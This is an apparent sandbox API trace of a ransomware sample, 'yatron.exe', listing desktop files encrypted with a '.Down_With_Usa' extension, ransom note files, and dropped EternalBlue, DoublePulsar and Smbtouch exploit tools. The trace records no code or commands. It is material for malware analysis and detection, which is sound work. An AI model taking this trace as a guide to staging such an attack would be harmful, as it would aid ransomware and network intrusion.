[0241.417] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d1f10, ftCreationTime.dwHighDateTime=0x1d5d7c4, ftLastAccessTime.dwLowDateTime=0x2cb950e0, ftLastAccessTime.dwHighDateTime=0x1d5da32, ftLastWriteTime.dwLowDateTime=0x1fc20000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNNnOAAde-h4.jpg.Down_With_Usa", cAlternateFileName="UNNNOA~1.DOW")) returned 1
[0241.418] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798ab570, ftCreationTime.dwHighDateTime=0x1d5e375, ftLastAccessTime.dwLowDateTime=0xc8194570, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0x1fd04840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xba90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vzk1n.bmp.Down_With_Usa", cAlternateFileName="VZK1NB~1.DOW")) returned 1
[0241.419] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29960d60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29960d60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29960d60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64.dll", cAlternateFileName="")) returned 1
[0241.420] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29914aa0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x29914aa0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x29914aa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86.dll", cAlternateFileName="")) returned 1
[0241.420] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8cf10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0xf225bed0, ftLastAccessTime.dwHighDateTime=0x1d5db0f, ftLastWriteTime.dwLowDateTime=0x1fd9cdc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x87b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLuz.flv.Down_With_Usa", cAlternateFileName="XLUZFL~1.DOW")) returned 1
[0241.421] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec4d6480, ftCreationTime.dwHighDateTime=0x1d6a96e, ftLastAccessTime.dwLowDateTime=0xece5fb00, ftLastAccessTime.dwHighDateTime=0x1d6a96e, ftLastWriteTime.dwLowDateTime=0x118da300, ftLastWriteTime.dwHighDateTime=0x1d6a96e, nFileSizeHigh=0x0, nFileSizeLow=0x38b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="yatron.exe", cAlternateFileName="")) returned 1
[0241.421] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69eb4cb0, ftCreationTime.dwHighDateTime=0x1d5d871, ftLastAccessTime.dwLowDateTime=0xb263bf50, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0x20cc9a00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe070, dwReserved0=0x0, dwReserved1=0x0, cFileName="zb9dFe.avi.Down_With_Usa", cAlternateFileName="ZB9DFE~1.DOW")) returned 1
[0241.422] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8113ae20, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0x7578e420, ftLastAccessTime.dwHighDateTime=0x1d5db19, ftLastWriteTime.dwLowDateTime=0x20dae240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", cAlternateFileName="ZFO2RX~1.DOW")) returned 1
[0241.422] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2816d000, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2816d000, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28205580, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="zibe.dll", cAlternateFileName="")) returned 1
[0241.423] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298c87e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x298c87e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x298ee940, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlib1.dll", cAlternateFileName="")) returned 1
[0241.423] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecea0 | out: lpFindFileData=0x2ecea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0241.424] FindClose (in: hFindFile=0x27f05cd0 | out: hFindFile=0x27f05cd0) returned 1
[0241.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed100) returned 1
[0241.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed0c0) returned 1
[0241.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0241.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x3a
[0241.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x3a
[0241.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\14twDPt60izPLxo82S4.swf.Down_With_Usa", lpFilePart=0x0) returned 0x4b
[0241.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0241.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", lpFilePart=0x0) returned 0x4c
[0241.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KX2W5Gx_oMR2z.avi.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0241.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", lpFilePart=0x0) returned 0x30
[0241.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw.dll", lpFilePart=0x0) returned 0x2e
[0241.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", lpFilePart=0x0) returned 0x4b
[0241.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\clTNgHV.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x3f
[0241.445] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", lpFilePart=0x0) returned 0x30
[0241.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", lpFilePart=0x0) returned 0x30
[0241.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", lpFilePart=0x0) returned 0x30
[0241.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", lpFilePart=0x0) returned 0x30
[0241.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini", lpFilePart=0x0) returned 0x31
[0241.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhM_7QwBM.avi.Down_With_Usa", lpFilePart=0x0) returned 0x41
[0241.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dJlVeYs3JTlELmoZmk3d.m4a", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dJlVeYs3JTlELmoZmk3d.m4a", lpFilePart=0x0) returned 0x3e
[0241.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", lpFilePart=0x0) returned 0x30
[0241.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-4.dll", lpFilePart=0x0) returned 0x30
[0241.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", lpFilePart=0x0) returned 0x3c
[0241.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", lpFilePart=0x0) returned 0x3c
[0241.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elq1cNIsT.pdf.Down_With_Usa", lpFilePart=0x0) returned 0x41
[0241.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ErnNouUqEe1_z.rtf.Down_With_Usa", lpFilePart=0x0) returned 0x45
[0241.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\esco-0.dll", lpFilePart=0x0) returned 0x30
[0241.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpFilePart=0x0) returned 0x3b
[0241.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.log", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.log", lpFilePart=0x0) returned 0x3b
[0241.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", lpFilePart=0x0) returned 0x3b
[0241.451] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma-1.dll", lpFilePart=0x0) returned 0x30
[0241.451] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\exma.dll", lpFilePart=0x0) returned 0x2e
[0241.451] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FiPz.ppt.Down_With_Usa", lpFilePart=0x0) returned 0x3c
[0241.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iconv.dll", lpFilePart=0x0) returned 0x2f
[0241.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", lpFilePart=0x0) returned 0x31
[0241.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", lpFilePart=0x0) returned 0x32
[0241.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", lpFilePart=0x0) returned 0x34
[0241.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", lpFilePart=0x0) returned 0x31
[0241.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m6pr0CPgtqV6i.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x45
[0241.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mlh-EH2DWsH-3y_WaK.flv.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0241.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg.Down_With_Usa", lpFilePart=0x0) returned 0x43
[0241.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", lpFilePart=0x0) returned 0x2e
[0241.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x4c
[0241.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", lpFilePart=0x0) returned 0x30
[0241.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", lpFilePart=0x0) returned 0x30
[0241.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", lpFilePart=0x0) returned 0x33
[0241.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", lpFilePart=0x0) returned 0x35
[0241.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", lpFilePart=0x0) returned 0x30
[0241.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", lpFilePart=0x0) returned 0x2e
[0241.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0241.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif.Down_With_Usa", lpFilePart=0x0) returned 0x3e
[0241.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", lpFilePart=0x0) returned 0x30
[0241.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", lpFilePart=0x0) returned 0x2e
[0241.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x42
[0241.458] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0241.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", lpFilePart=0x0) returned 0x38
[0241.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll", lpFilePart=0x0) returned 0x32
[0241.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-1.dll", lpFilePart=0x0) returned 0x30
[0241.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe-2.dll", lpFilePart=0x0) returned 0x30
[0241.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tibe.dll", lpFilePart=0x0) returned 0x2e
[0241.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-0.dll", lpFilePart=0x0) returned 0x30
[0241.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch-1.dll", lpFilePart=0x0) returned 0x30
